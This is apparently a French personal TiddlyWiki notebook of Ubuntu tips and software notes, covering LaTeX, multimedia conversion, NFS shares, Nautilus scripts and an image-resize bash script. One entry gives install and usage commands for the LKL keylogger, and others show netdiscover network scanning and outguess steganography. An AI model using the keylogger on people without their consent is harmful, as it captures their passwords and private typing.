#Récupérer les dictionnaires (fr.*.spl) ici : http://ftp.vim.org/vim/runtime/spell/
#Les copier dans ///usr/share/vim/vim71/spell/// (il faut être root) ou dans //~/.vim/spell///
#Éditer le fichier //~/.vimrc// (ou ///etc/vim/vimrc//) et ajouter :
{{{
augroup filetypedetect
au BufNewFile,BufRead *.tex setlocal spell spelllang=fr
augroup END
}}}
''Notes: ''
#Quelque liens pour bien commencer avec Latex [[ici|http://www.framasoft.net/rubrique266.html]]
#Il existe, bien entendu, d'autres éditeurs graphique pour latex comme KiLe ou LyX.
/***
|''Name:''|LegacyStrikeThroughPlugin|
|''Description:''|Support for legacy (pre 2.1) strike through formatting|
|''Version:''|1.0.2|
|''Date:''|Jul 21, 2006|
|''Source:''|http://www.tiddlywiki.com/#LegacyStrikeThroughPlugin|
|''Author:''|MartinBudden (mjbudden (at) gmail (dot) com)|
|''License:''|[[BSD open source license]]|
|''CoreVersion:''|2.1.0|
***/

//{{{
// Ensure that the LegacyStrikeThrough Plugin is only installed once.
if(!version.extensions.LegacyStrikeThroughPlugin) {
version.extensions.LegacyStrikeThroughPlugin = {installed:true};

config.formatters.push(
{
	name: "legacyStrikeByChar",
	match: "==",
	termRegExp: /(==)/mg,
	element: "strike",
	handler: config.formatterHelpers.createElementAndWikify
});

} //# end of "install only once"
//}}}
*''Communauté Ubuntu en Suisse''
[[Ubuntu SwissTeam|https://wiki.ubuntu.com/SwissTeam/]]
*''Tout pour l'installation de (K)Ubuntu''
[[ubuntuguide.org|http://ubuntuguide.org/wiki]]
[[ubufox|http://appnr.com]] Installation de programme directement via apt-ur depuis firefox
*''Quelques sites'' et leur flux RSS où trouver de fraîches informations au sujet de monsieur Tux
[img[planet ubuntu|http://membres.lycos.fr/wikitux/rss.gif][http://planet.ubuntu-fr.org/rss.php]] [[Planet Ubuntu-fr|http://planet.ubuntu-fr.org/]]
[img[dlfp|http://membres.lycos.fr/wikitux/rss.gif][http://linuxfr.org/backend/news/rss20.rss]] [[DLFP|http://linuxfr.org]]
[img[quebecos|http://membres.lycos.fr/wikitux/rss.gif][http://quebecos.com/index.php?option=com_rss&feed=RSS2.0&no_html=1]] [[QuebecOS|http://www.quebecos.com]]
[img[lpln|http://membres.lycos.fr/wikitux/rss.gif][http://www.linuxpourlesnuls.org/backend.php]] [[Linux pour les nuls|http://www.linuxpourlesnuls.org]]
[img[kernel|http://membres.lycos.fr/wikitux/rss.gif][http://kernel.org/kdist/rss.xml]][[Latest Linux Kernel Versions|http://kernel.org]]
[img[tux-planet|http://membres.lycos.fr/wikitux/rss.gif][http://www.tux-planet.fr/blog/atom.php]][[Tux-planet |http://www.tux-planet.fr/blog]] 
Astuce: ''Codes D'accès pour l'adaptateur voip Linksys SPA2102''
Mots clef: voip, Linksys, raccourcis
Os: Tous
Liens: [[source|http://www.avanzada7.com/imagenes/terminalesIP/linksys/user_guide_SPA2102.pdf]]
<<<
Enter Interactive Voice
Response Menu
{{{****}}}
Use this command to enter the Interactive Voice Response Menu. Do not press any other keys until you hear, “Linksys configuration menu. Please enter the option followed by the # (pound) key or hang up to exit.”
''Check Internet Connection Type''
100
Hear the Internet connection type of the Phone Adapter.
''Check Internet IP Address''
110
Hear the IP address assigned to the Phone Adapter’s Internet (external) interface. 
''Check Network Mask (or Subnet Mask)''
120
Hear the network or subnet mask assigned to the Phone Adapter.
''Check Gateway IP Address''
130
Hear the IP address of the Phone Adapter (usually the network router).
''Check MAC Address''
140
Hear the MAC address of the Phone Adapter in hexadecimal string format.
''Check Firmware Version''
150
Hear the version number of the firmware currently running on the Phone Adapter.
''Check Primary DNS Server IP Address''
160
Hear the IP address of the primary DNS (Domain Name Service) server.
''Check Internet Web Server Port''
170
Hear the port number of the Internet Web server used for the Web-based Utility.
''Check Local IP Address''
210
Hear the local IP address of the Phone Adapter.
''Set Internet Connection Type''
101
Press 0 to use DHCP. Press 1 to use a static IP address. Press 2 to use PPPoE. Select the type of Internet connection you are using. Refer to the documentation supplied by your Internet Service Provider (ISP).
Astuce: ''Avoir la liste des liens symboliques d'un répertoire''
Mots clef: bash
Os: Linux
Liens: [[Source pti-seb | http://www.tux-planet.fr/blog/?2006/02/24/51-astuce-shell-lister-les-liens-symboliques ]]
<<<
Dans un seul répertoire:
{{{ls -F | grep @$ | gawk -F@ '{print $1}'}}}
En incluant les sous-répertoires:
{{{find . -type l}}}
<<<
''Liste des paquets installés sous Kubuntu 7.10 Gutsy''
<<<
*''Système:''
nvidia-glx (voir UbuntuNvidia)
ssh (voir SSHMemento)
virtualbox 
KeyTouch
gparted
*''Bash Util:''
CurL 
YaKuake
mc
smbfs (voir ScriptSambaMount)
*''Internet:''
FireFox
thunderbird 
amule 
frostwire
amsn
EmeSene
KGet
Lynx
*''Multimedia:'' 
ubuntu-restricted-extras (voir MultimediaUbuntuPackage)
MPG321
VlC
JHead 
EasyTag
GimP 
ImageMagick
kim (voir KimKonqueror)
Zattoo
Camorama
gstreamer (voir EnregistrerWebcamEtSon)
mplayer (voir EnregistrerFluxAudioMplayer et MplayerEnregistrerFluxVideo)
mencoder
WinFF
*''DVD:''
totem-xine 
libxine1-ffmpeg 
libdvdread3 ({{{#/usr/share/doc/libdvdread3/install-css.sh}}})
*''Util:''
ConKy
KommanDo
KruSader
KomPose
KDocker
KRename
rar / unrar
diff3 / kdiff3
KataPult
GnomeDo
KCalc 
*''Sécurité:''
KeePassX
*''Network:''
YaFc
EtherWake
wakeonlan
x11vnc
xvncviewer 
TricKle
*''Editeur:''
GeanY
*''Eye Candy:''
compiz-kde
compizconfig-settings-manager
librsvg2-common
libcompizconfig-backend-kconfig
emerald
*''Divers:''
VrmS
''Nom de l'application'': ''@@color(red): Lkl @@''
Mots clef: keylogger, clavier
<<<
''Description: ''LKL (Linux Key Logger) est un keylogger en ligne de commande.

''Installation: ''{{{# aptitude install lkl}}}

''Utilisation: ''
{{{
# lkl -l -k /usr/share/lkl/keymaps/ fr_km -o monFichierLog.txt
}}}
Où ///usr/share/lkl/keymaps/// indique le chemin du fichier permettant le "mapage" du clavier

''Notes: ''Pour rendre l'utilisation d'un keylogger inefficace, on peut utiliser un clavier virtuel (comme GtKeyboard).
''Nom de l'application'': ''@@color(red): Lyx @@''
Mots clef: éditeur, latex
<<<
''Description: ''LyX est un éditeur de fichier WYSIWYG né de la combinaison de latex avec la convivialité d’une interface entièrement graphique utilisable à la souris.

''Installation: ''{{{# aptitude install lyx}}}

''Notes: ''Afin d'utiliser lyx pour écrire des document Latex, il est bon d'installer:
{{{
# aptitude install tetex-base tetex-extra tetex-bin 
}}}
Et, en cas de problèmes avec les accents (voir LateXKileAccents):
{{{
# aptitude install latex-ucs
}}}

Voir également KiLe qui est réellement très puissant est permet d'éditer directement les documents .tex.
''Nom de l'application'': ''@@color(red): mpg321 @@''
Mots clef: audio, mp3, son, player
<<<
''Description: ''mpg321 est un lecteur de musique en ligne de commandes, clone libre de mpg123.

''Installation: ''{{{# aptitude install mpg321}}}

''Utilisation: ''
{{{
$ mpg321 maMusique.mp3
}}}

''Note: ''Pour les fichiers .ogg, il y a ogg123
Astuce: ''Combinaison de touches permettant de redémarrer "sainement" le système''
Mots clef: boot, plantage
Os: Linux
Liens: [[Wikipedia| http://fr.wikipedia.org/wiki/Magic_SysRq_key ]]
<<<
//"La principale utilité de cette fonctionnalité est de pouvoir redémarrer un système bloqué sans corrompre le système de fichier."//
On a les options suivantes:
- R : Récupère  le clavier, approprié le plus souvent par le système de fenêtrage X Window.
- E : Pour terminer (le plus gentiment possible) tous les processus système, (Il faut attendre un peu ici)
- I : Pour tuer (kill) tous les processus système qui n'ont pas voulu s'arrêter gentiment.
- S : Synchronise les disques (s'assure que les données qui doivent être écrites sur le disque le sont bien),
- U : Démonte le système de fichiers (ou plutôt le remonte en lecture seule), (ici aussi on attend 2-3 secondes)
- B : Pour rebooter
- O : pour arrêter l'ordi (si on ne veut pas redémarrer)
L'utilisation est la suivante:
# Maintenir les touches //Alt// et //~SysRq// (Print Screen) enfoncées
# Tout en maintenant pressées ces dernières touches, taper, dans l'ordre, les lettres suivantes: ''R E I S U B'' (busier à l'envers)
# L'ordi devrait alors redémarrer sainement
''Nom de l'application'': ''@@color(red): Mahjongg @@''
Mots clef: jeux
<<<
''Description: ''Mahjongg est une version 3D du jeu de tuiles oriental Mahjongg classique, dont l"objectif est de retirer toutes les tuiles du jeu. Les tuiles sont retirées par paires assorties. Les tuiles ne peuvent pas être retirées si elles n"ont pas au moins un bord de libre. Cliquez sur n"importe quelle tuile libre et sur son double pour les retirer du jeu. Répétez cela, si vous le pouvez, jusqu"à ce que toutes les tuiles soient retirées.

''Installation: ''[[via apt|apt://mah-jong]]

''Notes: ''Voir également la version kde KmahJongg
PRogrammes | AStuces | SCripts | INfos | ContacT |  @@color(grey):propulsé par TiddlyWiki <<version>>  <<toggleSideBar "menu et historique" tooltip hide>>
''Nom de l'application'': ''@@color(red): Mandvd @@''
Mots clef: création, dvd, multimédia
Liens: [[source|http://doc.ubuntu-fr.org/mandvd ]]
<<<
''Description: ''Mandvd est une interface graphique réunissant plusieurs logiciels libres. On peut la qualifier de tout en un, permettant la création de DVD vidéo lisible sur platine DVD.

''Installation: ''Pour plus d'information, voir la [[source|http://doc.ubuntu-fr.org/mandvd ]]
{{{# aptitude install mencoder mplayer mkisofs totem-xine lame dvdauthor mjpegtools netpbm imagemagick transcode dvd+rw-tools libqt3-mt}}}
Puis installer le fichier .deb depuis [[ici|http://www.getdeb.net/download.php?release=292&fpos=0 ]].

''Notes: ''Pour réaliser des diaporamas-dvd, avec Mandvd, installer en plus DvdSlideShow.
<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='bartx.xml'/>
<!--}}}-->

<style type="text/css">
#contentWrapper {display:none;}
body { background:white; }
</style>
<div id="SplashScreen" style="border: 1px solid #ccc; -moz-border-radius:1em; display:block; text-align:center; width:400px; margin:100px auto; padding:.5em; color:#fff; font-size:24pt; font-family:verdana,arial,helvetica,sans; background-color:#006;"><img src="tux.png" title="tux" align="left"> Le Carnet de bord est en chargement<blink> ...</blink><img src="gnu_tux.png" title="firefox" align="right"><br><span style="font-size: 14px; color:red;"> Necessite Javascript actif</span></div></div>
''Nom de l'application'': ''@@color(red): Mathomatic @@''
Mots clef: science, mathématique, calcul formel
Liens: [[site officiel|http://mathomatic.orgserve.de/ ]]
<<<
''Description: ''Logiciel de mathématiques formelles en lignes de commandes, permettant, par exemple, la résolution d'équation ou la génération de code C ou python. 

''Installation: ''{{{# aptitude install mathomatic}}}

''Notes: ''Pour plus de détail quant à son utilisation, voir le site officiel.
''Nom de l'application'': ''@@color(red): Meld @@''
Mots clef: comparaison, fichiers
<<<
''Description: ''Meld est un front-end pour diff. Meld permet donc la comparaison de deux fichiers afin de mettre en évidence les différences.

''Installation: ''[[via apt|apt://meld]]

''Utilisation: ''via l'interface graphique

''Notes: ''voir aussi KDiff3 pour KDE.
Astuce: ''Convertir une video .mov en .avi avec mencoder en effectuant une rotation de 90 degrés''
Mots clef: mencoder, film, rotation
Os: Linux
<<<
Pour la conversion video+son+rotation:
{{{
$ mencoder film.MOV -o film.mov -vf rotate=2 -ovc lavc -oac mp3lame -srate 8000
}}}
L'option {{{-srate 8000}}} n'est nécessaire que si une erreur survient au niveau de l'audio.
''Nom de l'application'': ''@@color(red): Métamophose @@''
Mots clef: renommer, rename, fichiers
Liens: [[site officiel|http://file-folder-ren.sourceforge.net]]
<<<
''Description: ''Logiciel multiplateforme permettant de renommer une série de fichiers, très complet

''Installation: ''Télecharger le fichier .deb sur le site officiel.

''Notes: ''Voir aussi l'excellent KRename, PyRenamer et, en ligne de commande, RenommerPlusieursFichiers.
''Nom de l'application'': ''@@color(red): mimms @@''
Mots clef: flux vidéo, tv, télé
<<<
''Description: ''mimms est un client très simple permettant de télécharger un flux vidéo (ou audio) disponible en streaming en utilisant le protocol MMS.

''Installation: ''{{{# apt-get install mimms}}}

''Notes: ''
@@color(red):L'exemple ci-dessous ne fonctionne plus, pour télecharger les guignols voir ScriptCanalPlus.@@
Par exemple pour télécharger l'épisode de guignols sur canal+ (épisode du jour passé)
{{{
$ mimms mms://vipmms.canalplus.fr/canalplus/guignols_`date --date "1 days ago" +'%y%m%d'`_a.wmv
}}}
NB: si vous ne désirez que visualiser le flux, sans le sauvegarder, alors mplayer est votre ami:
{{{
$ mplayer mms://vipmms.canalplus.fr/canalplus/guignols_`date --date "1 days ago" +'%y%m%d'`_a.wmv
}}}
Astuce: ''Touches de raccourcis pour le switch KVM permettant le partage écran/souris/clavier entre 2 ordis''
Mots clef: matériel, écran, hardware
Os: Tous
|Canal précédent|Scroll Lock + Scroll Lock + flèche haut|
|Canal suivant|Scroll Lock + Scroll Lock + flèche bas|
|Canal 1 ou 2|Scroll Lock + Scroll Lock + 1 ou 2|
|Mode Autoscan|Scroll Lock + Scroll Lock + S|
|Mode Autoscan sec|Scroll Lock + Scroll Lock + S + 10-100s|

''Note:'' Il est également possible pour deux ordis ayant linux de partager clavier et écran grâce à SynErgy
Astuce: ''Mise à jour du bash''
Mots clef: bash
Os: Linux
<<<
{{{$ exec bash}}}
En particulier pour activer les alias qui se trouvent dans .bashrc
''Nom de l'application'': ''@@color(red): Mnemosyne @@''
Mots clef: étude, mémoire
Liens: [[site officiel|http://mnemosyne-proj.sourceforge.net/ ]]
<<<
''Description: ''Mnemosyne est un petit programme virtualisant le traditionnel jeu de carte mémoire de l'étudiant. Simple et très pratique

''Installation: ''{{{# aptitude install mnemosyne}}}

''Notes: ''Permet l'exportation en format .xml
''Nom de l'application'': ''@@color(red): nomdelappli @@''
Mots clef: jeux
<<<
''Description: ''Un clone de Frozen Bubble, le clone de Snood

''Installation: ''[[via apt|apt://monkey-bubble]]

''Notes: ''voir aussi FrozenBubble
Astuce: ''Monter une image .iso en ligne de commande''
Mots clef: iso
Os: Linux
<<<
Pour monter un iso: 
{{{
# mkdir /media/iso
# modprobe loop
# mount -t iso9660 image.iso /mnt/iso -o loop
}}}
Ou alors
{{{
# mount -t iso9660 -o loop image.iso /media/ISO
}}}
Lorsque l'on a les fichiers .cue et .bin, un utilitaire existe pour les convertir en .iso: bchunk
La syntaxe est la suivante:
{{{
$ bchunk <fichier .cue> <fichier .bin> <fichier de sortie>
}}}

''Note: ''voir aussi CreerGraverCDDVD et ConversionCDRomIso.
Astuce: ''Monter une partition windows ntfs avec fichiers accentués''
Mots clef: Système, encodage, ntfs
Os: Linux
<<<
La commande magique:
{{{
$ mount /dev/hda1 /mnt/work/ -t ntfs -o nls=utf8,umask=0222 
}}}
<<<
''Nom de l'application'': ''@@color(red): Mp3blaster @@''
Mots clef: musique, ligne de commande, bash
Liens: [[site offcilel|http://mp3blaster.sourceforge.net/ ]]
<<<
''Description: ''mp3 est un lecteur de musique complet, avec liste de lecture, en ligne de commande.

''Installation: ''{{{# aptitude install mp3blaster}}}

''Utilisation: ''Les touches de fonction sont indiquées en haut du terminal.
Astuce: ''Enregistrer un flux vidéo avec mplayer''
Mots clef: multimédia, vidéo, streaming
Os: Linux
<<<
{{{
$ mplayer -dumpstream -dumpfile video.wmv URL
}}}
Puis pour convertir en .avi
{{{
$ ffmpeg -i video.wmv -vcodec xvid -f avi -s 320x240 video.avi
}}}
Puis en .flv
{{{
$ ffmpeg -i video.avi -ar 22050 -ab 32 -f flv -s 320x240 video.flv
}}}
<<<
''Nom de l'application'': ''@@color(red): Mconverter @@''
Mots clef: multimedia, audio, vidéo, conversion, kde
Liens: [[page officiel| http://www.kde-apps.org/content/show.php/Multimedia+Converter++?content=53610 ]]
<<<
''Description: ''Ce programme est un script Kommander permettant, grâce à ffmpeg et MPlayer d'effectuer des conversions dans pratiquement tous les formats vidéo et audio.

''Installation: ''Télecharger l'archive sur la [[page officiel| http://www.kde-apps.org/content/show.php/Multimedia+Converter++?content=53610 ]] et en extraire le fichier .deb puis l'installer.

''Utilisation: ''Pour lancer l'application
{{{
$ kmdr-executor /usr/local/LinConverter/LinConverter.kmdr
}}}

''Notes: ''Pour la conversion audio, voir aussi SoundConverter et surtout SoundKonverter qui est bien intégré à KDE.
Astuce: ''Installer un package permettant d'accéder à l'ensemble des codecs non-free''
Mots clef: multimedia, codecs
Os: Ubuntu
Liens: [[source|http://bapoumba.wordpress.com/2007/11/15/using-restricted-formats-with-gutsy/]]
<<<
Tout d'abord il s'agit d'activer les répertoires multiverse dans le fichier ///etc/apt/sources.list//. 

Il suffit alors d'installer le méta-paquet ubuntu-restricted-extras  
{{{
# aptitude install ubuntu-restricted-extras  
}}}

Ce meta-paquet contient les paquets suivants:
{{{
streamer0.10-plugins-ugly, gstreamer0.10-plugins-ugly-multiverse,  
            msttcorefonts, flashplugin-nonfree, sun-java6-plugin, unrar,  
            gstreamer0.10-plugins-bad, gstreamer0.10-plugins-bad-multiverse,  
            gstreamer0.10-ffmpeg, liblame0, libdvdread3  
}}}
NB: Pour activer la  prévisualisation audio dans gnome, il faut installer les paquets suivants:
{{{
# aptitude install esound mpg321 sox vorbis-tools
}}}
Astuce: ''Paramètre de partage de fichier avec NFS''
Mots clef: réseau, samba
Os: Debian Ubuntu
<<<
# Tout d'abord, installer NFS sur le serveur: {{{apt-get install nfs-kernel-server nfs-common}}}
# Créer un partage (sur le serveur NFS) en ajoutant au fichier // /etc/exports // la ligne suivante: {{{/media/disk0 192.168.0.2(sync,rw,no_root_squash,no_subtree_check)}}}. Cela rend possible le partage du répertoire // /media/disk// avec la machine d'ip 192.168.1.2
# Sur la machine cliente d'ip 192.168.1.2 : {{{apt-get install nfs-common}}}
# Montage automatique du répertoire nfs partagé en ajoutant au fichier // /etc/fstab// la ligne suivante : {{{ocelot:/media/disk0	/media/ocelot/disk0	nfs	rw,user,noauto	0	0}}} Où //ocelot// est le serveur nfs, // /media/disk0// le répertoire à partager et // /media/ocelot/disk0// le répertoire de montage sur la machine cliente.
<<<
''Nom de l'application'': ''@@color(red): Nautilus-actions @@''
Mots clef: nautilus, gnome
Liens: [[source| http://www.ubuntukungfu.org/blog/2008/10/nautilus-actions-do-just-about-anything-to-a-file-by-right-clicking-it/ ]]
<<<
''Description: ''Nautilus-actions est un programme qui permet d'ajouter des éléments dans le menu contextuel de nautilus (clic droit).

''Installation: ''[[via apt|apt://nautilus-actions]] (pour beaucoup d'actions, le paquet [[zenity|apt://zenity]] est nécessaire).

''Utilisation: ''Pour configurer Nautilus-actions se rendre dans Système puis Préférences et enfin Nautilus Actions Configuration. On peut configurer ces propres actions (voir la [[source| http://www.ubuntukungfu.org/blog/2008/10/nautilus-actions-do-just-about-anything-to-a-file-by-right-clicking-it/ ]] en anglais ou [[ubuntu-fr|http://doc.ubuntu-fr.org/nautilus-action]], ou alors installer facilement (via importer) des actions déjà crées par d'autres. Une collection d'actions nautilus [[ici|http://www.grumz.net/index.php?q=configlist]]

Actions que j'utilise:
#[[Tag media files with Easytag|http://www.grumz.net/?q=node/210]]
#[[Convert to 3GP|http://www.grumz.net/?q=node/329]]
#[[Search online for album cover|http://www.grumz.net/?q=node/258]]

''Notes: ''
# voir ScriptsNautilus pour l'usage des scripts dans Nautilus
#pour kde et KonQueror voir KonquerorServiceMenu
''Nom de l'application'': ''@@color(red): nautilus-image-converter @@''
Mots clef: Nautilus, redimensionnement
<<<
''Description: ''Nautilus-image-converter permet d'ajouter, lorsque que l'on effectue un clic droit sur une image, un menu de redimensionnement et de rotation d'images.

''Installation: ''[[via apt|apt://nautilus-image-converter]]

''Utilisation: ''via clic droit sur une image.

''Note: ''Voir aussi AmeliorerNautilus et NisNautilus.
''Nom de l'application'': ''@@color(red): Netdiscover @@''
Mots clef: réseau
Liens: [[site officiel|http://nixgeneration.com/~jaime/netdiscover/]]
<<<
''Description: ''Netdiscover permet de scanner le réseau à la recherche d'hôte. Affiche l'adresse ip et mac de la machine.

''Installation: ''[[via apt|apt://netdiscover]]

''Utilisation: ''
par exemple {{{# netdiscover -i eth0}}}
Astuce: ''Permet le redimensionnement d'images dans Nautilus''
Mots clef: script Nautilus, redimensionnement
Os: Linux, Gnome
Liens: [[site officiel|http://www.creationgif.com/debian/nis/index-fr.html]]
<<<
''Installation: ''Vérifier tout d'abord la version sur le [[site officiel|http://www.creationgif.com/debian/nis/index-fr.html]]
{{{
$ wget http://www.creationgif.com/debian/nis/download/nis-08.tar.gz
$ tar zxvf nis-0.8.tar.gz
$ mv ./resize ~/.gnome2/nautilus-scripts/
$ chmod +x ~/.gnome2/nautilus-scripts/resize
$ rm nis-0.8.tar.gz
}}}
''Utilisation: ''Simple clic droit sur l'image, puis choisir: scripts - -> nis

''Notes: ''
#Pour KDE, voir aussi KimKonqueror
#Voir aussi AmeliorerNautilus et NautilusImageConverter
#Pour le script complet avec l'option //-resize// remplacée par //-geometry//:
{{{
#!/bin/bash
#
# Author : Mathieu Vilaplana <mathieu@creationgif.com>
# Author : Matthieu MARC <matthieu.marc@wanadoo.fr>
#
# Copyright (C) 2005,2006  Charles Bouveyron <charles.bouveyron@free.fr>
# 
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
# 
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

#&nbsp;pour l'internationalisation des messages	
# to generate the i18n file from .po file :
# $ msgfmt -o .locale/fr/LC_MESSAGES/nis.mo .locale/fr/LC_MESSAGES/fr.po
export TEXTDOMAIN="nis"
export TEXTDOMAINDIR=`dirname $0`"/.locale/"

MAXCPT=50000;

nb_images=0;
selection="";

txt_error="`gettext 'error'`"
#test if a file has been selected
if [ $# -eq 0 ]; then
	# zenity --error --title=$txt_error --text="`gettext 'You must select at least 1 file to process'`"
	here=`pwd`"/."
	files=`zenity --file-selection --multiple --separator="|" --filename="$here"`"|"
	#if $? != 0, user click on cancel button, so exit
	if [ "$?" != 0 ] ; then
		exit
	fi
	cpt=0
	# I put all filename in $selection here because I didn't managed to put filenames with whitespace in $*
	while [ ${#files} -gt 0 ]; do
		f="`echo $files&nbsp;|cut -f1 -d'|'`"
		isimage=`file -bi "$f" |grep -c image`
		if [ $isimage -eq 1 ]; then
			selection[$nb_images]=$f
			let "nb_images++"
		fi
		files=`echo $files |cut -f2- -d"|"`
		let "cpt++"
		#&nbsp;only to avoid infinite loop (do not occured normaly, but nobody never know.. perhaps!)
		if [ $cpt -gt $MAXCPT ]; then
			shift
		fi
	done
fi

#===================================
#       SELECT SIZE DIALOG
txt_text="`gettext 'Choose which size to scale to'`"
txt_title=$txt_text
txt_size="`gettext 'size'`"

imgsize=`zenity --title "$txt_title" --text "$txt_text" --list --radiolist --separator=" " --column="" --column="$txt_size" FALSE "160x120" FALSE "320x240" FALSE "640x480" TRUE "800x600" FALSE "1024x768" --height=220`

#if $? != 0, user click on cancel button, so exit
if [ "$?" != 0 ] ; then
	exit
fi

#user must select a target size
imgsize=`echo $imgsize | sed 's/ max//g'`
if [ ! "$imgsize" ]; then
	zenity --error --title=$txt_error --text="`gettext 'select a target size'`"
	#&nbsp;just restart myself (more user friendly I think)
	($0 "$*")&
	exit
fi

#transform 640x480 en 640x640 for convert to respect proportions
himgsize=$imgsize
val1=`echo "$imgsize" | awk -F'x' '{ print $1  }'`
imgsize="${val1}x${val1}"

#       END SELECT SIZE DIALOG
#=========================


#Select only images
while [ $# -gt 0 ]; do
	isimage=`file -bi "$1" | grep -c image` 
	if [ $isimage -eq 1 ]; then
		selection[$nb_images]=$1
		let "nb_images++"
	else
		isdir=`file -b "$1" |grep -c directory`
		if [ $isdir -eq 1 ]; then
			for f in `ls -1 "$1"`; do
				isimage=`file -bi "$1/$f" |grep -c image`
				if [ $isimage -eq 1 ]; then
					selection[$nb_images]="$1/$f"
					let "nb_images++"
				fi
			done
		fi
	fi
	shift
done

n=$nb_images
let "n=n-1"
(for i in `seq 0 $n`;do
	picture=${selection[$i]}
	img_filename=`basename "$picture"`
	img_dirname=`dirname "$picture"`

	#create directory if not exist and at least one image to process
	if [ ! -d "$img_dirname/$himgsize"  ]; then
		mkdir -p "$img_dirname/$himgsize"
	fi

	let "compteur += 1"
	echo "`gettext '# Processing image'` $compteur / $nb_images $img_filename ..."
	convert -quality 80 -geometry $imgsize "$picture" "$img_dirname/$himgsize/$img_filename"
	#convert -quality 80 -geometry $imgsize "$picture" $himgsize/"$picture"
	let "progress = compteur*100/nb_images"
	echo $progress
done
) | zenity --progress --auto-close --title="`gettext 'Scaling images'`" --text="`gettext 'Processing images ...'`"  --percentage=0

(gnome-open "`dirname \"${selection[0]}\"`/$himgsize") &
exit
}}}
Astuce: ''Lancer un processus indépendant de la console''
Mots clef: système, console
Os: Linux
Liens: [[source| http://www.tux-planet.fr/blog/?2007/12/04/211-utilisation-de-la-commande-nohup]]
<<<
Nohup est une commande qui permet de lancer un processus qui restera actif même après la déconnexion de l'utilisateur.
Cette dernière peut s'avérer très utile si on la combine au '&' qui permet de lancer un processus en arrière plan.
Exemple: action sur un serveur distant en ssh, sans attendre la fin de la commande pour se déconnecter.
Téléchargement d'un gros fichier :
{{{
# ssh nomUtilisateur@serverSSH
# nohup wget ftp://...../monfichier &
# exit 
}}}
A chaque utilisation, la commande crée un fichier de log nommé nohup.out, permettant de consulter les messages qui auraient dû s'afficher sur la console. On pourra visionner le contenu comme ceci :
{{{
# more nohup.out 
}}}
Nohup permet donc en quelque sorte, de détacher complètement un processus de son utilisateur.
''Notes: ''
#Un excellent tuto sur le siteduzero.com [[ici|http://www.siteduzero.com/tutoriel-3-67789-0-executer-des-programmes-en-arriere-plan.html]]
#Alternative: disown apparemment plus doux que nohup
Pour l'utiliser :
{{{
$ macommande &
$ disown %1
}}}
où 1 représente le premier job "dépossédé" : on peut en déposséder plusieurs comme cela (il faut alors taper le chiffre entre crochets renvoyé par bash : les numéros se suivent. Pour avoir la liste, taper "jobs").
Astuce: ''normaliser tous les mp3 d'un répertoire''
Mots clef: multimédia, audio
Os: linux
<<<
Nécessite //mp3gain//:
{{{
$ find . -type f -iname '*.mp3' -print0 | xargs -0 mp3gain -r -k
}}}
Où //type -f// effectue la recherche dans le répertoire courrant
Pour plus d'info voir {{{man mp3gain}}}
<<<
''Nom de l'application'': ''@@color(red): numlockx @@''
Mots clef: clavier numérique
<<<
''Description: ''Logiciel permettant d'activer par défaut la touche numlock au démarrage.

''Installation: ''[[via apt|apt://numlockx]]

''Utilisation: ''pour une utilisation au démarrage, simplement l'ajouter dans les applications lancées au démarrage.

''Notes: ''Permet de résoudre un bug avec le clavier TypeMatrix.
''Nom de l'application'': ''@@color(red): Numpty Physics @@''
Mots clef: 
Liens: [[site officiel|http://numptyphysics.garage.maemo.org/ ]]
<<<
''Description: ''Inspiré par le célèbre Crayon Physic (voir PlayOnLinux), Numpty Physics offre un jeu dont le but est d'utiliser les lois de la gravité afin qu'une boule rejoigne une étoile. Simple mais addictif.

''Installation: ''Paquet .deb disponible sur le [[site officiel|http://numptyphysics.garage.maemo.org/ ]].

''Utilisation: ''simplement dessiner les pièces que l'on désire utiliser.  La touche "s" permet d'accéder au menu et "e" pour avoir le jeu en plein écran.
''Nom de l'application'': ''@@color(red): Opcion @@''
Mots clef: polices de caractères
Liens: [[site officiel|http://opcion.sourceforge.net/ ]], [[source|http://blog.racoon97.net/index.php?2007/04/06/92-opcion-mais-que-fait-la-police]]
<<<
''Description: ''Logiciel multi-platformes (en java) permettant de visualiser l'ensemble des polices de caractères installé sur le système. 
''Installation: ''
* Tout d'abord s'assurer que l'on a une version de java suffisamment récente. Sinon:
{{{# aptitude install sun-java6-jdk #sun-java6-plugin }}}
Puis vérifier que le "bon" java est utilisé par défaut avec:
{{{# sudo update-alternatives --config java}}}
* Télecharger le programme et le lancer:
{{{$ wget http://ufpr.dl.sourceforge.net/sourceforge/opcion/Opcion_v1.1.1.jar}}}
et finalement, dans le bon répertoire
{{{$ java -jar Opcion_v1.1.1.jar}}}
''Nom de l'application'': ''@@color(red): Open Office @@''
Mots clef: bureautique, traitement de texte, tableur, présentation, 
<<<
''Description: ''Open Office est un suite bureautique libre dont le but est de remplacer microsoft office.  Cette suite est divisée en plusieurs modules:
    * Writer – Traitement de texte
    * Calc – Tableur
    * Impress – Création de présentations multimédia
    * Draw – Dessin vectoriel
    * Base – Création de bases de données
    * Math – Édition de formules mathématiques complexes

''Installation: ''En général installé d'(open-)office

''Notes: ''Pour générer rapidement des présentations Impress à partir de schémas, voir aussi KDissert
''Nom de l'application'': ''@@color(red): Outguess @@''
Mots clef: sécurité, chiffrement, stéganographie
Liens: [[source|http://www.linux.com/article.pl?sid=07/05/07/1728219 ]], [[site officiel|http://www.outguess.org/]]
<<<
''Description: ''Outguess est un logiciel de stéganographie, c'est-à-dire permettant de cacher de l'information, par exemple un mot de passe, dans une image ou un fichier son.

''Installation: ''{{{# aptitude install outguess}}}

''Utilisation: ''
Pour créer l'image secret.jpg contenant les informations du fichier monSecret.txt dans l'image soleil.jpg avec le mot de passe monMot:
{{{
$ outguess -k monMot -d monSecret.txt soleil.jpg secret.jpg
}}}
L'option -k monMot n'est pas obligatoire, ainsi on peut aussi éviter l'utilisation d'un mot de passe.

Pour extraire le fichier monSecret.txt:
{{{
$ outguess -k monMot -r secret.jpt monSecret.txt
}}}

''Notes: ''
*Ce logiciel est également disponible pour windows.
